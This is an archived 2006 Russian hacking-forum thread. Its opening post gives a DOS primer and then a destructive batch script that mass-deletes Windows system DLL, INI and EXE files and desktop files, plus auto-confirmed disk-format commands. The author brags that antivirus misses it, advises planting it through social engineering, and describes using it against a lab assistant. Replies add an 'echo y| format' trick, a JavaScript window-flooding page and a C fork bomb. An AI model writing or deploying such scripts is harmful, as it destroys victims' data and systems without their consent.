Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

.BAT тем кто забыл

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Взлом программ] >> .BAT тем кто забыл
Имя
Сообщение << Старые топики   Новые топики >>
.BAT тем кто забыл - 2006-12-09 21:27:11.140000   
Apache

Сообщений: 153
Оценки: 0
Присоединился: 2006-10-13 10:02:03.070000

Доброго времени суток! Все наверно давно забыли про DOS, и зря ведь с его помощью можно сделать много нехорошего на удаленной машине. Ибо DOS имеет некоторые «полезные» команды, например команда удаления всех файлов одного расширения DEL *.YYY где YYY расширения удаляемых файлов ( например *.dll &nbsp;- удаляет все библиотеки dll). Это все обычно объясняют еще на уроках информатики но напомню основные команды, потому что мы их разумеется будем использовать несколько нестандартно.
&nbsp;
Просмотр каталога
команда: dir
формат:dir дисковод:\ имя каталога
Параметр \Р задаёт поэкранный режим вывода
\W выводит только информацию об именах файлов в каталоге.
Примеры:
dir - вывести оглавление текущего каталога;
dir*.exe - вывести сведения о всех файлах с расширением .exe из
текущего каталога;
dir a: - вывести оглавление корневого каталога диска а:
&nbsp;
Изменение текущего каталога ОБРАТИТЕ ВНИМАНИЕ ЭТО НАМ ПРИГОДИТСЯ.
Команда: cd (Change Directory)
Формат: cd дисковод:\путь
Примеры:
cd games - переход в каталог GAMES текущего диска;
cd.. - переход в предыдущий каталог;
cd \ - переход в корневой каталог текущего диска
&nbsp;
Создание каталога.
Команда md (Make Directory)
Формат: md дисковод:\путь
Примеры:
md games создание подкаталога GAMES в текущем каталоге;
md d:\games\doom2 - создание подкаталога DOOM2 в каталоге GAMES
диска D:
&nbsp;
Уничтожение каталога.
Команда: rd (Remove Directory).
Формат: rd дисковод:\путь
Примеры: rd games удаление подкаталога GAMES в текущем каталоге;
rd d:\games\doom2 - удаление подкаталога DOOM2 в каталоге GAMES
диска D:
ВНИМАНИЕ! УДАЛИТЬ МОЖНО ТОЛЬКО ПУСТОЙ КАТАЛОГ, а жаль!
&nbsp;
Создание текстовых файлов.
Команда: copy con
Формат: copy con имя файла
После нажатия ENTER нужно ввести текст файла, затем последовательно
нажать F6 ENTER
Пример:
Copy con games.txt - создание текстового файла Games.txt в текущем
каталоге.
&nbsp;
&nbsp;
Копирование файлов.
Команда: copy
Формат: copy (имя копируемого файла) \(имя каталога, в который нужно
поместить файл)
Пример:
Copy games.txt \games копировать файл games.txt в подкаталог GAMES
текущего диска.
&nbsp;
Удаление файлов.
Команда: del
Формат: del имя файла
Пример:
Del games.txt - удаление файла games.txt из текущего каталога.
&nbsp;
Переименование файлов.
Команда: ren (Rename) Формат: ren (имя. файла) (новое имя. файла)
&nbsp;
Пример: Ren games.txt games.doc - изменить имя файла games.txt
на games.doc в текущем каталоге".
&nbsp;
Изменение вида приглашения DOS.
Команда: prompt
Формат: prompt (текст)
В качестве текста можно использовать символы:
$p - текущий дисковод и каталог;
$n - текущий дисковод;
$d - текущая дата;
$t - текущее время;
$v - версия DOS;
$_ - переход на новую строку;
$s - пробел;
$h - удаление предыдущего символа; $e - символ с кодом 27 (ESC);
$g - символ &gt;
$b - символ |
$$ - символ $;
&nbsp;
Другие команды.
Date - вывод информации о дате с возможностью настройки.
Time - вывод информации о времени с возможностью настройки.
Verify on - включить режим проверки записи на диск.
Verify of - выключить режим проверки записи на диск.
Verify - вывести информацию о том, включен ли режим проверки записи
на диск.
Path - определяет порядок поиска наиболее часто запускаемых
программ.
Ver - показывает версию операционной системы.
Cls - производит очистку экрана.
Label - выводит информацию о метке диска с возможностью её
изменения.
&nbsp;
Вспомнив все енто перейдем к созданию файла, убивающего винду за 10 сек, для этого нам понадобится стандартный WordPad и желательно Total Commander (Куда же без него??). Теперь перейдем от теории к практике… Открываем WordPad и пишем:
&nbsp;
cd\&nbsp;&nbsp;&nbsp;&nbsp; - заходим в корневой каталог
cd C:\ - заходим на диск С
cd&nbsp; windows&nbsp; - заходим в папку Винды
cd&nbsp; system&nbsp; - заходим в папку System
del *.dll&nbsp;&nbsp; - удаляем все файлы с расширением .DLL
cls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - очищаем экран что юзверь ничего не успел рассмотреть))))
cd\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - опять заходим в корневой
cd windows&nbsp;&nbsp; - заходим папку Винды
cd system32&nbsp; - потом в system32 ну а дальше все думаю ясно
del *.dll
del *.ini
del *.exe
cls
cd\
cd windows
del *.dll
del *.ini
del *.exe
cls
&nbsp;
Написали? Теперь сохраняем и ОБЯЗАТЕЛЬНО ВЫБИРАЕМ «Текст в формате MS-DOS» иначе ничего работать не будет. Далее изменяем расширение на .bat &nbsp;и готово! У себя на компе я не рекомендовал бы его запускать))))). Хотя модно поступить иначе – создать пустой файл .TXT зайти в Total Commander &nbsp;изменить расширение на &nbsp;.BAT и нажав клавишу F4 редактировать. Поверить на работоспособность можно так – создать BAT файл и вместо папки WINDOWS &nbsp;выбрать какую-нибудь другую (разумеется предварительно её создав и напихав файлов для удаления) далее командной строкой открываем файлик и смотрим пошагово что он делает, если же увидите кракозябры, вместо команд, значит неверна кодировка.&nbsp; Вы наверно видите, что тут прописан только путь C:\WINDOWS\ Но не стоит забывать, что Винда может находиться в папке WindowsNT или WINDOWS2 ,WinMe,Win98 на другом диске (D:\ или E:\)&nbsp; и так далее. Для этого дописываем:
cd\&nbsp;&nbsp;&nbsp;&nbsp;
cd C:\
cd&nbsp; windows&nbsp;
cd&nbsp; system&nbsp;
del *.dll&nbsp;&nbsp;
cls&nbsp;&nbsp;&nbsp;
cd\
cd windows
cd system32
del *.dll
del *.ini
del *.exe
cls
cd\
cd windows
del *.dll
del *.ini
del *.exe
cls
cd\&nbsp;&nbsp;&nbsp;&nbsp;
cd E:\
cd&nbsp; windows2&nbsp;
cd&nbsp; system&nbsp;
del *.dll&nbsp;&nbsp;
cls&nbsp;&nbsp;&nbsp;
cd\
cd windows2
cd system32
del *.dll
del *.ini
del *.exe
cls
cd\
cd windows2
del *.dll
del *.ini
del *.exe
cls
cd\&nbsp;&nbsp;&nbsp;&nbsp;
cd D:\
cd&nbsp; windowsNT&nbsp;
cd&nbsp; system&nbsp;
del *.dll&nbsp;&nbsp;
cls&nbsp;&nbsp;&nbsp;
cd\
cd windowsNT
cd system32
del *.dll
del *.ini
del *.exe
cls
cd\
cd windowsNT
del *.dll
del *.ini
del *.exe
cls
&nbsp;
Ну думаю вы поймете и не поленитесь написать пару лишних строчек, ибо надежность прежде всего. А вот в Виндовс XP проще - достаточно ввести %SYSTEMROOT% чтобы оказаться в папке с Виндой, где бы она не была))))). Бывают еще команды %HOMEPATH% - переход в папку X:\ Documents and Settings\Учетка_юзверя, а остальные команды я что то призабыл.
Теперь придумаем еще что-нибудь))).
&nbsp;
достаточно добавить
&nbsp;
cd %homepach%
cd Рабочий стол
del *.lnk&nbsp; - удалим все ярлыки с Рабочки))))))) пусть понервничает))))).
del *.txt&nbsp; - обычно на Рабочке лежат всякие текстовики с весьма важной инфой))))
del *.exe - а вдруг у юзверя и программка &nbsp;&nbsp;&nbsp;какая-нибудь завалялась))) надо чистить стол!!
ну хватит с него! Думаю достаточно.
Теперь напишем снова снос винды уже с новыми командами.
cls&nbsp; - люблю экран чистить
cd %homepach%
cd Рабочий стол&nbsp;&nbsp;&nbsp; - удалим с рабочки, чтобы юзерь хлопая глазами искал ярлыки, а его
del *.lnk &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;винда в это время летела)))
del *.txt
del *.exe
del *.rar
del&nbsp; *.zip
cd %SystemRoot%
cd system
del *.dll
cls
cd\
cd %SystemRoot%
cd system32
del *.dll
del *.ini
del *.exe
cls
cd\
cd %SystemRoot%
del *.dll
del *.exe
cls
&nbsp;
Данная конструкция работает если у жертвы XP (на 2000 и NT не проверял) но если вы не знаете операционку жертвы, лучше добавьте еще строк для страховки))).
Можно еще добавить форматирование винта, но я особо им не пользовался поэтому не искал наиболее надежный способ форматирования, я добрый))).
Cd\ -команда для выхода в корневой каталог из места откуда был запущен bat файл
Format C:\ -команда форматирования диска
С:\ Y -команда автоматического согласие форматирование диска без ведома или подтверждения команды ламером
Y -тоже самое
Y -уже говорил
Хе! Вот и все…
Код полностью:
Cd\
Format C:\
Y
Y
Y
&nbsp;
Единственный минус! Такой код может не сработать если на кампе стоит Windows ME или XP! Придется писать другой путь.
В этих форточках команда форматирования лежит не просто в папке Windows, а по следующему пути C:\WINDOWS\COMMAND\format c:, но само собой форматироваться не будет, а потребует подтверждение и простая команда
у
у
у
&nbsp;
не поможет, нужена другая. Просто добавим параметр /autotest
&nbsp;
C:\WINDOWS\COMMAND\format c: /autotest
&nbsp;
В данном случае, подтверждать ничего не придется.
&nbsp;
Воспользуемся входными потоками.
Этот путь сложнее, но интереснее предыдущего.
Расскажу лучше как отформатировать дискету вместо жесткого диска.
Нам потребуется еще один файл (например temp.temp), в котором будут записаны все клавиши, необходимые для подтверждения. В нашем случае это "Enter,Enter,No,Enter", т.е. вам необходимо в блокноте нажать два раза Enter, написать символ n и нажать Enter еще раз, сохранить и закрыть файл.
Теперь можно приступить непосредственно к форматированию с помощью команды
&nbsp;
C:\WINDOWS\COMMAND\format a: /q &lt;temp.tmp
&nbsp;
параметр /q - быстрое форматирование.
все параметры можете почитать, набрав в командной строке help format
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ну вот в принципе и все. Немного подумав, можно придумать много интересного, причем имея минимальные знания в программировании. Поэтому не забывайте посещать пары (уроки) информатики там иногда дают полезные знания. Кстати, применен .bat файл был против одной лаборантки, которая выпендривалась и довольно нагло себя вела, и в добавок не давала мне скинуть себе на мыло ключик от Доктора Веба на год))). Для этого в течении 30секунд был создан файлик, а еще через 30 секунд ярлык медиаплеера уже ссылался на мой файл, а так как музыку во время пары слушать нельзя, дабы не мешать учебному процессу, то включив после пары любимую попсу глямурная бляндинка&nbsp; осталась без винды)))). (не надо покидать своё рабочее место да же на 5 минут)
Статья опубликована на форуме сайта www.rus-ock.h16.ru &nbsp;все авторские права принадлежат её автору, то бишь мне - Apache.&nbsp; Надеюсь вы придумаете что-нибудь
интересное, или же возникнут вопросы, тогда пишите! [email=roll60@mail.ru]roll60@mail.ru[/email] &nbsp;или в асю 309197002. И еще, чуть не забыл - его не видят антивири, а для того чтобы впарить достаточно иметь минимальные навыки &nbsp;социальной инженерии.
&nbsp;
Post #: 1
RE: .BAT тем кто забыл - 2006-12-09 21:35:33.686666   
AdReNaL1Ne

Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05
Браво! До тебя этого никто не знал, особенно поюзав поиск.
Post #: 2
RE: .BAT тем кто забыл - 2006-12-11 20:37:13.873333   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Отформатировать системный диск (С:) из-под Windows никак нельзя
Если не веришь, можешь попробовать :)
Post #: 3
RE: .BAT тем кто забыл - 2006-12-12 01:40:55.513333   
DDosT

Сообщений: 99
Оценки: 0
Присоединился: 2006-10-03 15:12:16.436666
quote:

ORIGINAL: Lex_Voodoo

Отформатировать системный диск (С:) из-под Windows никак нельзя
Если не веришь, можешь попробовать :)


Полностью согласен что винда без плоти файловой парить не может :) нету у неё души… Однако тоже полезное Faq получилось…:)
Post #: 4
RE: .BAT тем кто забыл - 2006-12-12 12:31:22.170000   
devi_29

Сообщений: 133
Оценки: 0
Присоединился: 2006-11-26 16:51:24.136666
quote:

Теперь можно приступить непосредственно к форматированию с помощью команды

C:\WINDOWS\COMMAND\format a: /q

параметр /q - быстрое форматирование.


    Вот это рулеззз!!! - но если даже ты удалишь длл - то винда их восстановит.
Post #: 5
RE: .BAT тем кто забыл - 2006-12-19 23:52:15.463333   
User

Сообщений: 1605
Оценки: 0
Присоединился: 2006-10-15 02:44:55.710000
слушай Apache
может ты ещё для Linux-a напишешь!там список поболее будет!!!
Post #: 6
RE: .BAT тем кто забыл - 2006-12-24 21:39:43.866666   
j4gu4r

Сообщений: 77
Оценки: 0
Присоединился: 2005-08-31 18:22:16
Dos озорил мою больную душу……
 
Post #: 7
RE: .BAT тем кто забыл - 2006-12-27 00:32:00.906666   
ВИТАХА

Сообщений: 1017
Оценки: 0
Присоединился: 2006-12-27 00:18:16.020000
Сразу прошу извинить за ошыбки в словах,это не мой конек!просто решил подкигуть на ету тему еще кое что….
Подтверждение в командах можно делать с помощью такой команды:
echo y| команда…
пример: echo y| format c: /q
А вобще для особо интересующихся по .bat ;) http://forum.ru-board.com/topic.cgi?forum=62&topic=6156&start=880
Post #: 8
RE: .BAT тем кто забыл - 2006-12-27 10:37:03.130000   
ZneP

Сообщений: 910
Оценки: 0
Присоединился: 2006-08-21 16:11:47
.
Post #: 9
RE: .BAT тем кто забыл - 2006-12-29 01:31:27.003333   
ВИТАХА

Сообщений: 1017
Оценки: 0
Присоединился: 2006-12-27 00:18:16.020000
ZneP или это я путаю или я тебя не правильно понял смотри на примере:

@echo off
cd\
md VITAHA
cd VITAHA
dir>>1.txt
dir>>2.txt
cd..
pause
echo y | rd /s VITAHA

так вот к чему я веду,на сколько я понимаю то здесь ключ /s так зделай из этой проги батник и запусти если создается папка VITAHA и в ней два текстовых файла а после паузы они удаляются так В ЧЕМ Я НЕ ПРАВ?????
ЖДУ ОТВЕТА!!!!!

Post #: 10
RE: .BAT тем кто забыл - 2006-12-29 03:22:50.290000   
k0d1k

Сообщений: 1
Оценки: 0
Присоединился: 2006-12-29 03:12:53.143333
Доброе утро!
к .bat файлам моня еще добавить команду deltree - не помню ключей, удаляет НЕ ПУСТУЮ папку…
но, пмм, после XP .bat файлы стали неинтересны, т.к. винда уже не реагирует на autoexec.bat… советую изучить WSH или хотя-бы java-скрипты…
для примера:
<html><script>
function crack() // создаем функцию crack()
{
  for(;;) // запускающую бесконечный цикл, в теле которого происходит
    open('./имя.html') // открытие этой же страницы на выполнение (где имя.html - название нашей странички)
}
</script>
<script>
crack() // вызываем функцию crack() при старте страницы
</script></html>
прог-у видно, но работает… ставишь ее на автозагрузку или как домашную страничку… =)
 
про Linux:
#include <pthread.h> // подключаем заголовок для создания нового процесса
main() // главная функция в любой C/C++ программе
{
  while (1>0) // запуск бесконечного цикла, в теле которого
    fork(); // создается новый процесс
}
тестил на старом Mandrake и BeOS 5 Home - работала.. :)
 
Удачи!
Post #: 11
RE: .BAT тем кто забыл - 2006-12-29 05:45:51.290000   
KPOT_f!nd

Сообщений: 767
Оценки: 0
Присоединился: 2006-09-18 05:16:50.950000
БОЯН! БРЕДД!
quote:

Отформатировать системный диск (С:) из-под Windows никак нельзя

Полность согласеН!
:@ZLOY
Post #: 12
RE: .BAT тем кто забыл - 2006-12-29 10:59:05.193333   
ZneP

Сообщений: 910
Оценки: 0
Присоединился: 2006-08-21 16:11:47
.
Post #: 13
RE: .BAT тем кто забыл - 2006-12-29 22:26:05.963333   
ВИТАХА

Сообщений: 1017
Оценки: 0
Присоединился: 2006-12-27 00:18:16.020000
Извини погарячился!Только фильтруй базар ок???(эт на будущее)
Post #: 14
RE: .BAT тем кто забыл - 2006-12-30 20:14:24.160000   
ZneP

Сообщений: 910
Оценки: 0
Присоединился: 2006-08-21 16:11:47
.
Post #: 15
RE: .BAT тем кто забыл - 2006-12-30 21:27:47.390000   
ВИТАХА

Сообщений: 1017
Оценки: 0
Присоединился: 2006-12-27 00:18:16.020000
Конечно нет мне че делать нефиг,у меня совсем другие цели!да и какой толк тебе угрожать?Если бы сильно хотел тебе поугрожать писал бы в АСЮ???
Post #: 16
Страниц:  [1]
Все форумы >> [Взлом программ] >> .BAT тем кто забыл







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.